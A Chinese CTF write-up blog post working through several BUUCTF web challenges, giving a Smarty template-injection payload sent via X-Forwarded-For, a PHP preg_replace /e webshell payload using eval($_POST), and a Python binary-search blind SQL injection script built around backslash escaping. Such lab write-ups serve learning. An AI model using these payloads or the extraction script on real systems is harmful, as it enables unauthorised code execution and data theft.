Buu摸鱼日记之13

 

buu摸鱼日记之十三

[BJDCTF2020]The mystery of ip

这题有点东西

居然是ssti真没想到

题目里面出现了ip,那自然想到client-ip/XXF

然后XXF可控,那么注入点就是这里

然后是smart(不是flask,这个可以用payload{{7*‘7}}’ 出49来判断

利用system(‘cat /flag’) 拿到flag

[BJDCTF2020]ZJCTF,不过如此

这个前半截和ZJCTF一模一样

后半端需要这个getshell

https://xz.aliyun.com/t/2557

这个洞理解起来好吃力,大概就是修改参数来达到串改php内容的作法

写个马进去/?\S*=${eval($_POST[field])}

preg_replace('/(\S*)/ei', 'strtolower("\\1")', {${eval($_POST[field])});
                                              

原来的语句就会被魔改成这个DIO样子

就是会把${eval()}先执行掉,然后进行匹配(是个空值)

var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

大致就是这样

[CISCN 2019 初赛]Love Math

这个题很有趣,可以看出来是RCE,但是不知道怎么做

主要还是利用base_convert转换,可以转出字符串出来(36进制,abcdefg全齐了)

网上看到了很多很有趣的解法,给了三个解法,从文件头插入的姿势我是第一次见,真的学到了

[BJDCTF 2nd]简单注入

还是要看hint(我太菜了)

扫出来hint.txt

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

要用\转义(没看hint真没想到)

魔改以后的就是

select * from users where username='admin\' and password='or length(database())>0#';

就有逻辑不一样,回显不同的效果

那么盲注老操作了

import requests

url="http://63f2cb60-65f0-43f7-8c7b-d1123631ab7c.node3.buuoj.cn"

ch = 0
flag = ""

for i in range(1,50):
    high = 128
    low = 32
    mid = (high + low) // 2
    while(high>low):
        payload = {"username":"admin\\","password":"or/**/if(ascii(substr(password,%d,1))<%d,1,0)#"%(i,mid)}
        r = requests.post(url=url,data=payload).text
        if "stronger" in r:
            high = mid 
        else:
            low = mid + 1

        mid = (high + low) // 2

    # print(r)
    flag += chr(int(mid-1))
    print(flag)

select * from users where username='admin\' and password='or/**/if(ascii(substr(password,%d,1))<%d,1,0)#';

憨批的我换了半天的select*什么的,后来发现好像根本没必要